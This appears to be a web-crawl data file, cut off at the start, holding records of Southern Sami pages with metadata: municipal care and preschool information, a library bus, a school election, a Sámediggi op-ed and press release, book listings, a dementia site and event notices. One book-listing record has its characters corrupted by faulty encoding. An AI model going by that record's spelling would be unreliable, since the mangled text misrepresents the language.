lïhkemes almetjem sujhtie. Åenehkstïjjesijjie såemies aejkien aaj sviktesijjiem jallh vikselesåjhtoem gohtje.\nSyökemem åenehkstïjjesæjjan datne jïjtje darjoeh, viehkine akten rïektes saadthalmetjistie. Syökemem viehkieaktesasse seedtien. Gåarede aaj akten njaalmeldh syökemem darjodh. Viehkiegïetedallijem akte aajne salkehtimmiem jïh vierhtiedimmiem daerpiesvoeteste jïh barkojste darjoen. Salkehtimmesne jïh vierhtiedimmesne datne jïjtje meatan leah dan guhkie guktie gåarede.\nAktem dygneåasam åenehkstïjjesæjjan mij biehkesne maaksetaksesne lea. Maaksoem olkese ryöknoen guktie åasa jïh dïeve maalestahke annjebodts såjhtose leah.\nGåarede nænnoestimmiem laejhtedh naemhtie guktie sosiaaledïenesjelaakesne (2001:453) tjåådtje.\nKorttidsplatser finns inom särskilda boenden på olika platser i kommunen.\nLevinsgården i Gäddede, Tåsjögården i Kyrktåsjö, Älvgården i Backe och Åshamra i Hammerdal tar emot personer för vistelse på korttidsplats.\nStrömsund har korttidsplatser på Solbacken inom enheten Gästis. Platser finns även på närvårdsavdelningen i Strömsund.\nBiståndshandläggare kan ge mer information om platser på de olika enheterna.\nÅenehkstïjjesijjieh gååvnese sjïere årromesijjide ovmessie sijjine tjïeltesne.\nLevinsgaertene, Tåsjögaertene, Älvgaertene jïh Åshamra almetjh dåastoehtieh ihke åenehkstïjjesijjesne årrodh. Straejmie åenehkstïjjesijjieh Solbakkesne åtna Gästise aktesisnie.\nSijjieh aaj gååvnese lïhkesåjhtoegoevtesisnie Straejmesne.\nViehkiegïetedallije maahta jienebh bïevnesh vedtedh sijjiej bïjre ovmessie goevtesinie.\nSenast ändrad\/granskad: 9 juli 2019","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.stromsund.se\/1340.html","date":"2019-12-14T11:32:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540586560.45\/warc\/CC-MAIN-20191214094407-20191214122407-00380.warc.gz","language":"sma","language_score":0.9512770176,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 0.9512770175933838, \"swe_Latn_score\": 0.04568187892436981}","num_words":320,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":0.959,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Til utlån\nBokbussens bibliotektilbud er gratis. Leter du etter en spesiell bok eller film? Du kan bestille lån selv med et klikk, og hente materialet hos oss på Gærjah.\nVi holder oss oppdatert om nye utgivelser, med særlig fokus på bøker fra sør- samisk område. Det meste av materialet er utgitt på norsk, men det utgis bøker på sør- samisk fortløpende. Vil du lære sør-samisk? Eller er du eller noen i familien under opplæring? Da kan vi skaffe deg oppdatert opplæringsmateriale!\nVåre lånere leser mye lokalhistorisk materiale, krigshistorie, handverk, samisk historie, og mye mere. I tillegg har vi de samme bøker som du finner i alle andre bibliotek, barne- og ungdomslitteratur, krim- og skjønnlitteratur, og mye mer.\nLöönedæmman\nGærjabussen gærjagåetiefaaleldahkh leah namhtah. Ohtsedeminie leah aktem gærjam jallh jielijeguvviem? Daelie maahtah 60 ovmessie mediabaasi sisnie, mah leah Nordlaantesne, seammasïenten ohtsedidh. Maahtah maam joem löönedh, Internehtesne, jïh dle mijjen luvhtie veedtjedh.\nMijjen leah iktesth orrestamme bïevnesh orre gærjabæjhkoehtimmiej bïjre, jïh eeremes gærjah åarjelsaemien dajveste. Jeenemes gærjah leah daaroen, mohte åarjelsaemien gærjah daamtaj olkese vadtasuvvieh. Sïjhth vielie åarjelsaemien lïeredh? Jallh datne jallh gie joem fuelhkeste leah skuvlem vaedtsieminie? Dellie maehtiejibie dutnjien orre learoevierhtieh ribledh!\nMijjen löönijh jïjnjh lïhkesdajven histovrijen gærjah luhkieh, goh soptsesh dåaroen bïjre, vætnoen jïh saemien histovrijen bïjre jïh jïjnje vielie. Dïsse lissine mijjen leah seammalaaketje gærjah mah leah jeatjah gærjagåetine, maana-jïh noerelitteratuvre, krimme- jïh tjiehpieslitteratuvre jïh jïjnje vielie.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/gsj.nfk.no\/utlan\/","date":"2020-01-25T16:52:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251678287.60\/warc\/CC-MAIN-20200125161753-20200125190753-00120.warc.gz","language":"sma","language_score":0.9935745597,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9935745596885681}","num_words":227,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarhskuvle- Förskola\nAarhskuvledarjome maanide akten jaepien båeries raejeste snjaltjen raajan jaepie gosse maana govhte jaepieh illedh.\nSjeltien sjeltesne göökte aarhskuvlh, Renen jïh Villan mej golme jïh göökte goevtesh. Gaajhki goevtesi 18 sijjieh jïh 3,00 dïenesjh barkijidie. Fredrikesne aarhskuvle Snödroppen. Tjïelten aarhskuvlh ræhpas 06:30 raejeste 18:00 raajan.\nAarhskuvle galka maanaj evtiedimmiem jïh lïeremem skreejredh jïh jearsoes hoksem faaledh. Darjome aalka elliesvoete-vuajnojste maanam jïh maanan daerpiesvoeth vuejnedh jïh hammode guktie hokse, evtiedimmie jïh lïereme aktanieh.\nAarhskuvle galka jearsoes, luste jïh lïeremeræjhkoes sijjie maanide årrodh. Darjome skuvlelaaken jïh aarhskuvlen learoesoejkesjen mietie. Fïerhten aarhskuvlen lea aaj jïjtje barkoesoejkesje.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/asele.se\/saepmie\/aarhskuvle-forskola\/","date":"2020-01-23T03:27:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250608062.57\/warc\/CC-MAIN-20200123011418-20200123040418-00193.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":90,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan jaepien AP'en skuvleveeljeme lij joekoen buerie juktie 53,3% gïelh åadtjoeji. Dan åvteste Röörosen AUF'en åejvie Ivar Østby lea öövre madtjeles illeldahken åvteste.\n-Dellie mijjieh libie 53% gïelijste åådtjeme jïh lea joekoen buerie, mohte manne aaj geerjene dan åvteste aktem jeatjam paartije manne lyjhkem aaj buerie illeldahkh åådtje. Vuesiehtimmien gaavhtan, SV aaj buerie illeldahkh åadtjoeji, 13% gïelijste. Manne aaj öövre geerjene sjædtam gosse vuajnam ahte gåabpatjahkh Høyre jïh FRP 10 gïelh åadtjoejin, Østby jeahta.\nKaanne daate lea Trööndelaagen bööremes skuvleveeljeme AP'ese.\n-Gosse Trööndelagen AUF'en fylhkeståvrose rïnghkim dillie dah öövre madtjeles jïh geerjene sjïdtin. Manne vïenhtem mijjieh AP'esne dam bööremes skuvleveeljeme abpe Trööndelaagesne dorjeme. Jïh vïenhtem buerie illeldahke sjïdti juktie mijjieh libie jïjnjem noerigujmie soptsestamme jïh mijjieh aaj noerh, jïh Röörosen AP'en tjïelteåejvien-kaandidaate Isak Busch aaj lea AUF'em goltelamme.\nTjïelteåejvie-kaandidaate AP'este, Isak Busch daate illeldahken bïjre jeehti.\n-Daate mijjieh joekoen lyjhkebe. Lea buerebe illeldahke 20%'en bijjelen jaepeste 2015, jïh lea mubpien bööremes skuvleveeljeme Röörosisnie 30 jaepien tjïrrh! Destie illeldahkeste faamoe åadtjobe veeljeme-gæmhpoen åvtelen, sjïere akten tijjen gusnie AP nasjovnaale illeldahkigujmie tjabreme. Manne hååhkesjem mijjieh AP'esne buerebe illeldahkh veeljemebiejjien åadtjobe. Noerh Röörosisnie vuesiehtieh dej illeldahki tjïrrh dah sijhtieh ektine almetjigujmie barkedh, lïhkes skuvlen åvteste jïh seamma hïllh gaajhkide. Daam edtjebe dejtie noeride vedtedh! Röörose öövre væjkele noerh åtna, Busch jeahta.\nTjïelteåejvie-kaandidaate SV'esne Christian Elgaaen aaj lij madtjeles skuvleveeljemen åvteste.\n-Lea joekoen buerie illeldahke SV'ese jïh njieljie jaepien tjïrrh SV stuerebe sjïdteme. Gellieh learohkh sïjhtieh politihke mij lea buerie byjresasse jïh staeriesvoetese utnedh, Elgaaen jeahta.\nSenterpartiet 3,2% vielie gïelh goh evtebe skuvleveeljemistie åadtjoeji.\n-Röörosen Sp lea joekoen madtjeles skuvleveeljemen illeldahken åvteste, jïh sjiere madtjeles juktie daan dajven Senterungdommen' en åejvie lij öövre væjkele digkiedimmesne! Manne tuhtjem Ap byöroe vielie daan dajven vihkeles aamhtesh digkiedidh, jïh tuhtjem lea feerh jïjnjh ahte AP akte stoerredigkiesaadthalmetje diekie seedtie skuvle-digkiedimmiem goltelæmman. Ohtsem aktem stuerebe digkiedimmie guktie edtjebe dam gïetedidh. Mohte læjhkan; libie öövre madtjeles jïh daate illeldahke mijjem sjollehte, Senterpartien' tjïelteåejvie-kaandidaate Guri Heggem jeahta.\nHøyren' tjïelteåejvie-kaandidaate Rob Veldhus, maam 4,2% gïelh åadtjoeji dam skuvleveeljemen bïjre jeehti.\n– Leam vuajneme ahte skuvlemeveeljemen illeldahkh Röörosisnie leah jeatjhlaakan fïerhten jaepien, jïh skuvlemeveeljemen illeldahkh leah lïhtsegidie jearohke. Juktie vuejnebe ahte daan jaepien Høyren' noeredåehkie dennie skuvleveeljeminie bïevnjeldi. Sïjhtem AP'em læhkoehtidh jïh dåajvoehtem båetijen jaepien skuvleveeljeme buerebe sjædta. Kaanne joe måantan sjugniehtåvva, gosse dïhte stuerebe veeljeme lea öörnesovveme, Veldhuis jeahta.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/rorosnytt.no\/kaanne-troondelaagen-booremes-skuvleveeljeme-apese\/","date":"2020-01-25T02:21:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250628549.43\/warc\/CC-MAIN-20200125011232-20200125040232-00441.warc.gz","language":"sma","language_score":0.9999884367,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999884366989136}","num_words":369,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Manne stoerre ïedtjine Ellen Inga O. Hættan kronihkem lohkeme plaeresne Aftenposten gusnie hååle daerpiesvoeten vööste aktede kraanskomekommisjovneste daaroedehtemen bïjre dejstie saemien jïh kveenen årroejijstie. Hijven vuejnedh mijjieh dam seamma ulmiem juekebe: båetijem aejkiem hammoedidh naemhtie guktie båetije saemien boelvh maehtieh sijjen identiteetem garmerdidh.\nHættan lea reaktoe gosse jeahta tsiehkie saemide 1800-låhkoen lij joekoen jeatjahlaakan goh tsiehkie daan biejjien. Daaroedehtemepolitihke staateste ryöhki eevre minngiedåaroetïjjen raajan, gusnie åejvieulmie lij saemide jeatjahtehtedh hijven daaroen almetjidie. Saemien gïele lij guhkiem luhpehts skuvlesne, jïh skaamoe saemine årrodh boelveste boelvese ryöhki. Daan biejjien gellie saemieh mah eah sijjen gielem vielie maehtieh jïh jeenjesh sijjen saemien maadtoem neajhkoeh. Man åvteste annje dam darjoeh jis dovletje tïjje lea dan maajeste goh Hætta meala?\nGoh saemie dellie daamtaj govlem mijjieh tjoerebe geehtedh ollebe offereråållan sïjse tjaengieh. Vaallah mov lea ïedtje dam darjodh – mijjieh edtjebe båetijen aejkien sïjse vaedtsedh goh akte garmeres åålmege aktine tjïelkestamme tsiehkine mijjen histovrijasse. Men dellie tjoerebe aaj abpe histovrijem damtedh. Manne sïjhtem Anne Kalstad Mikkelsen siteradidh mij dam numhtie buerkeste:\"Gosse mijjieh mïedtelimmieh jïh baaktjes dååjrehtimmieh jïjtjene jieliedisnie byjhkesjibie, jïh gosse mijjen histovrijem soptsestibie bielelen mubpiej reaksjovnh dïsse maam soptsestibie, mijjem heerredidh soptsestidh – dellie ibie vielie offerh. Dellie libie ellies almetjh mah aajhterevoetem vaalteme jïjtsh soptsesidie jïh jïjtsh jieliedasse\" (Borjås, 2017).\nJaavoe, mijjieh stuhtjetjem geajnosne båateme. Ahkedh jienebh jïjtjemse registreradieh Saemiedigkien veeljemelåhkosne, jienebh saemien gielem sijjen maanide skuvlesne veeljieh jïh ahkedh jienebh veeljieh eadtjohke årrodh saemien siebriedahkegyhtjelassine. Men ibie maehtieh tjïekedh jeenjesidie dle saemien maadtoe jïh identiteete naakede man åvteste dah leah tjoereme jïjnjem maeksedh. Jïjnjh soptsesh skaamoen, sïerredimmien jïh ekskluderadimmien bïjre mah eah leah soptsesovveme, jïh mah såamasidie daan biejjien leah saejrieh mah eah leah suvveme.Saemien siebriedahke lea gellielaaketje. Ij leah saatnan daaroedehtemepolitihken histovrije jïh konsekvensh leah veelelaakan vihtiestamme, jïh saemien gïele, kultuvre jïh siebriedahkejielede leah jïjtjemse evtiedamme jearsoeslaakan gaajhkine dajvine. Gellene lehkesne, aaj desnie maam mijjieh gohtjebe Saepmie, ij leah voerkesvoetem jïh daajroem åtneme sov saemien histovrijen bïjre. Daate akte privilegijume dejtie gillide.\nJïjtje båatam aktede dajveste gusnie mijjieh saemieh lin akte ovvåajnoes dåehkie mij håvnjoehtjeapoehkinie edtji assimileradamme sjïdtedh nöörjen siebriedahken sïjse. Aaj daate lea biehkieh mejtie tjoerebe meatan utnedh mijjen histovrijesoptsesisnie, jalhts saemiepolitihke Nöörjesne lea jïjtjemse evtiedamme dan mænngan. Nöörjen siebriedahke ij maehtieh soptsestidh guktie mijjen båehtjierdimmieprosesse edtja årrodh. Mijjieh birrebe akten jïjtjeraarehke kommisjovnen bïjre mij konsekvenside vihteste dehtie guhkies assimileradimmiepolitihkeste. Edtja daajroem lissiehtidh akten lïhke jïh nasjonaale histovrijen bïjre, jïh manne mïelem akte demokrateles siebriedahke lea dan veaksehke guktie dam tööllie.\nJïh dle mijjieh mah sijhtieh tjoerebe luhpiem åadtjodh mijjen haevieh dåvvodh viehkine histovrijasse vuartasjidh bielelen mijjem skultedh dovletje tïjjen tjöödtjestidh.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Kronihke-Man-aavteste-saejhta-staaten-daaresjimmiem-tjiekedh","date":"2020-01-19T16:16:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250594662.6\/warc\/CC-MAIN-20200119151736-20200119175736-00161.warc.gz","language":"sma","language_score":0.9999990463,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999990463256836}","num_words":418,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Åarjelsaemien healsoeviermie lea viermie saemien healsoebarkijijstie mij seammavyörtegs healsoedïenesji åvteste barka saemien årroejidie åarjelsaemien dajvesne. Viermie sæjhta maallem healsoedïenesjidie saemien årroejidie evtiedidh, mij maahta aevhkine sjïdtedh gaajhkide saemien årroejidie.\nHealsoedïenesjh orrelaakan öörnedidh\nÅejvieprosjekte edtja pryövedh vuejnedh mejtie dåaresthfaageles barkoedåehkie, gusnie saemien healsoebarkijh tjïeltine jih healsoesïeltine leah meatan, mah sjïerelaakan saemien skïemtjijh gorredieh, maahta akte vuekie årrodh healsoedïenesjh saemien årroejidie öörnedidh båetijen aejkien. Daate maalle lea skraejriem vaalteme Alaskeste\/ South Central Foundation, gusnie aalkoealmetjh healsoeviehkiem vedtieh aalkoealmetjidie, jïh leah öörnedamme goh mikro-barkoedåehkie skïemtjiji\/fuelhkiej bïjre. Åejvieprosjekten åvtelen lea daerpies åvteprosjektine, mij edtja soejkesjidh jïh våaromem bïejedh åejvieprosjektese.\n– Såemies goerehtimmieh vuesiehtieh saemieh eah leah dan madtjeles healsoedïenesjigujmie goh jeatjah daaroeh, jïh vueliehkåbpoe leajhtadimmiem utnieh nöörjen healsoesuarkan. Dan åvteste hijven jïh vihkeles Åarjelsaemien healsoeviermie daelie barkojne nearhka healsoedïenesjh orrelaakan öörnedidh saemien årroejidie, jïh mijjieh sïjhtebe daate maalle maahta åvteguvvine årrodh healsoedïenesjidie gaajhkide saemien årroejidie, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nGaavnedimmiesijjie saemien voeresidie Altesne\nSaemiedigkieraerie aaj 280.000 kråvnah dåarjojne vadteme Álttá Siidan As kultuvregåatan, gaavnedimmiesæjjan saemien voeresidie Altan tjïeltesne. Dan åvteste nöörjen gïele jeenjemes åtnasåvva Altesne, Álttá Siida vuajna daerpies saemien gaavnedimmiesijjiem tseegkedh saemien voeresidie tjïeltesne, gusnie maehtieh saemiestidh, sinsitnine åahpenidh jïh jeatjah saemien voeresh gaavnedidh.\n– Gaavnedimmiesijjie saemien voeresidie lea vihkeles råajvarimmie tråjjen jïh healsoen gaavhtan, jïh maahta viehkiehtidh dåeriesmoerh giehpiedidh mah leah ektiedamme healsose, gusnie fåantoe lea passiviteete, oktegsvoete, isolasjovne jïh depresjovne. Saemien voeresh daarpesjieh gaavnesjidh jïh maahta joekoen vihkeles årrodh dejnie dajvine gusnie ij leah dan gellie saemieh, Mikkelsen jeahta.\nJis dov leah gyhtjelassh jallh gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen, +47 917 42 161, email@example.com","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Saemiedigkieraerie-goeoekte-healsoeprosjekth-daaaarje","date":"2020-01-19T16:24:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250594662.6\/warc\/CC-MAIN-20200119151736-20200119175736-00289.warc.gz","language":"sma","language_score":0.9999885559,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999885559082031}","num_words":249,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Silpeaska\n\n\nSissel Horndal\nMáttasámegillii\nSilpeaske lea guvviegærja saemien heamture-eatnemistie noeride jïh stuerebe maanide.\nStaaloe noere nïejtem hemhkehte mearan bovhtside røøjnesjeminie. Staaloe nïejtem jïh bovhtside røøvi jïjtjes gåatan. Daesnie nïejte åadtjoe veeljedh medtie sïjhth såemies staaloebaernien gåmmine jallh beabpojne sjïdtedh. Bene håhkoe gååvnese. Faamosne lea jïjnje væjsastalleme-voete jïh haaljoeh.\nSiiddut: 42\nGarra olggoš\nISBN: 978-82-8263-162-4","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.calliidlagadus.org\/web\/index.php?egavpi=1&girji=417&giella1=sam","date":"2020-02-23T23:44:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145859.65\/warc\/CC-MAIN-20200223215635-20200224005635-00219.warc.gz","language":"sma","language_score":0.9991488457,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9991488456726074}","num_words":52,"character_repetition_ratio":0.026,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh daebpene 3\n\n\nHeidi Guttorm Einarsen & Svein Nordsletta\nMijjieh daebpene 3 lea learoevierhtie seabredhmaahtoen j√Įh geografijen b√Įjre 5.'Äď7. klaassi learoehkidie.\nSeabredhmaahtoe j√Įh geografije lea learoeg√¶rja seabradahken b√Įjre j√Įh eatnemedaajroen j√Įh daej dajvi b√Įjre gogkoe veasoejibie. Learoe¬¨g√¶rja lea guektien boelhkese juakasovveme. Voestes ¬¨boelhke seabredhmaahtoen b√Įjre, j√Įh mubpie boelhke jis geografijen b√Įjre. Guvvieh j√Įh illustrajovnh dam learoevierhtietekstem d√•arjoeh. Ovnohkens baakoeh jallh synonyjmh leah sj√Įere klaeriejgujmie m√Įerhke¬¨sjamme j√Įh √•ejvieteksten bealese b√Įeje¬¨sovveme. ¬¨F√Įerhten boelhken leah tj√•enghkies-tjaalege j√Įh r√Įektes-¬¨borhtje kapihtelen minngiegietjesne. ¬¨Laavenjassh leah dovne ohtsedh j√Įh gaavnh- darjoeh j√Įh darhkh.\nMijjieh daebpene 3 lea g√•almede g√¶rja seabredhmaahtoen j√Įh geografijen b√Įjre daennie learoevierhtieraajrosne. Learoevierhtie jaepien 2013 tjaalasovveme seabredhfaagesoejkesji maahtoeulmiej mietie.\nJeatjah g√¶rjah daennie raajrosne::\nMijjieh daebpene 1 ja Mijjieh daebpene 2. B√Įhkedassh lohkeht√¶jjide, g√¶rjah j√Įh lissie laavenjassh daesnie: www.calliidlagadus.org\/sf\nUtgitt: 2020\nHeftet","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.calliidlagadus.org\/web\/index.php?egavpi=1&girji=558&giella1=nor","date":"2020-02-23T23:04:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145859.65\/warc\/CC-MAIN-20200223215635-20200224005635-00363.warc.gz","language":"sma","language_score":0.9997820258,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9997820258140564}","num_words":119,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bæjhkoje\nSámi Lohkanguovddáš\/ Saemien lohkemejarnge\nFaage\nGiele\nMaahtoe eatnemen-baakoej bïjre lij maahtoem mij lij joekoen vihkeles dej beeli utnedh. Daaletje aejkesne leah seamma vihkeles dam maahtoem utnedh, jalhts daelie almetjh aelkieminie dejtie åajaldaehtedh. Dan åvteste mijjieh daam sæjroem tseegkeme. Daennie sæjrosne mijjieh jijnjemes baakojde eatnemen bïjre tjöönghkeme. Daesnie maahta filmh jïh animasjovnh guktie laante vååjnoe vuartasjidh jïh baakoeh disse lïeredh. Lissine disse baakoe-læstoe gååvnese, jeenjemes baakojste leah Åarjelsaemien- daaroen baakoegærjeste tjöönghkeme. Ulmie-dåehkie daennie sæjrosne lea dovne learohkh maana, noere jïh jåarhkeskuvlide. Menh aaj mubpide mah iedtjem utnieh åarjelsaemien eatneme-goerkesimmine.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_eatnemen-baakoe","date":"2020-04-03T07:44:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370510352.43\/warc\/CC-MAIN-20200403061648-20200403091648-00318.warc.gz","language":"sma","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 1.0000087022781372}","num_words":89,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mij demense lea bïevnesh demensen bïjre sjïehteladteme almetjidie evtiedimmieheaptojne jïh kognitijve funksjovnegiehpiedimmine. Bïevnesh jïh daajroe leah vihkeles juktie jïjtse skïemtjelassem haalvedh, jallh daejredh guktie bööremeslaakan maahta aktivyöki barkedh naakenigujmie lïhke fuelhkine mah demensem åadtjoeh.\nMij demense akte nedtesæjroe gusnie utnije bïevnesh åådtje teeksten, guvviej, animasjovnen jïh soptsesen tjirrh. Minngemosth akte quiz aaj dorjesovveme mij sisvegem iktede. Maahta sæjrojde oktegh lohkedh, jallh naakenigujmie ektine mah maehtieh viehkiehtidh geerve sisvegem tjïelkestidh.\nMij demense gååvnese gaajhkine noerhtelaanten gïeline, julev-, noerhte- jïh åarjelsaemien jïh eengelsken gïelesne.\nMij demense lea evtiedamme jïh beetnehvierhtieh åådtjeme aktene laavenjostosne gaskem Nasjonal kompetansetjeneste for aldring og helse, Nordens velferdssenter (NVC), akte institusjovne Noerhtelaanti ministereraerien sosijaale- jïh healsoesuerkien sisnjelen jïh Saemiedigkie.\nÅssjalommese jïh maanuse: Frode Kibsgaard Larsen, Lene Kristiansen jïh Martin Lundsvoll, Nasjonal kompetansetjeneste for Aldring og helse.\nWeb-evtiedimmie, hammoedimmie jïh animasjovne: Headspin AS\nTjoejestudioe: Nitro Sound AS\nJarkoestimmie: NVC lea viehkiehtamme noerhtelaanti gïelide jarkoestidh. Semantix lea saemien jïh eengelske gïelem jarkoestamme.\nProsjektedåehkie: Noerhtelaanti teemaviermie demensen jïh evtiedimmieheaptoen bïjre NVC:sne.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/hvaerdemens.no\/sma\/saejroen-bijre\/","date":"2020-04-08T07:56:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371810807.81\/warc\/CC-MAIN-20200408072713-20200408103213-00135.warc.gz","language":"sma","language_score":0.9999727011,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999727010726929}","num_words":160,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Irene Dorra båata dovletje voessen bïjre soptsestidh maam satne gohtje «Kärringsjöväska». Irene bïhkemde jïh Anja Labjine tjåenghkesne soptsestalleben abpe barkoen bïjre; båårhkesjimmien raejeste gåaromen raajan.\nIrene Dorra forteller på sørsamisk om den tradisjonelle veskemodellen \"Kärringsjöväska\", om reinskinn og prosessen frem til ferdig produkt i en samtale med Anja Labj.\nDoktortjønnesne, måantan skïereden 16.bn. ts. 19.00 \/ Doktortjønna, mandag 16. september kl 19.00\nArrangementet er gratis.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/rorosmuseet.no\/irene-dorra-bhkemde-ba%C3%A5rhkesjimmien-g%C3%A5aromen-bjre?ref=29","date":"2020-03-30T19:36:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370497301.29\/warc\/CC-MAIN-20200330181842-20200330211842-00099.warc.gz","language":"sma","language_score":0.8185759187,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.818575918674469, \"sme_Latn_score\": 0.1125570684671402, \"nob_Latn_score\": 0.039017412811517715, \"smj_Latn_score\": 0.012218765914440155}","num_words":61,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":0.869,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Preessebïevnese suehpeden 17. biejjien-moenehtsistie Plassjesne\nJååktan, daan jaepien suehpeden 17.biejjien-moenehtse lea nimhtie nænnoestamme:\nKoronapaandemijen gaavhtan reereme lea gellie strïengke råajvarimmieh nænnoestamme mah suetiem heerredieh. V.g. Reereme lea nænnoestamme ibie åadtjoeh naanh kultuvre- jïh gaarsjeöörnemh ruffien 15. biejjien raajanöörnedh.\nDan åvteste, suehpeden 17. biejjien heevehtimmie Plassjesne ij tradisjovnelle sjïdth. Suehpeden 17.biejjien-raajroe ij sjïdth, seamma goh russe-raajroe, fuelhkie-show, stååkedimmie maanide Verket:sne jïh kinove Storstuggu:sne. Suehpeden 17.biejjien-öörnemh gusnie gellie almetjh leah tjåanghkan, eah sjïdth. Mohte læjhkan alternatijve heevehtimmie sjædta, juktie suehpeden 17. biejjien-moenehtse lea jeatja heevehtimmiem soejkesjeminie. Ibie daejrieh daelie magkeres heevehtimmie sjædta, mohte gåerede ussjedidh naanh digitaale heevehtimmie sjædta. Dijjieh åadtjode vielie heevehtimmien bïjre govledh gåessie moenehtse lea buerie soejkesjem soejkesjamme.\nPlassje, voerhtjen 15. biejjien 2020\nReidun Roland\/suehpeden 17.biejjien-moenehtsen åejvie Plassjesne","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/raajroe-suehpeden-17-biejjien-plassjesne-ij-sjidth\/","date":"2020-06-03T00:49:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00326.warc.gz","language":"sma","language_score":0.9999377728,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999377727508545}","num_words":113,"character_repetition_ratio":0.123,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} 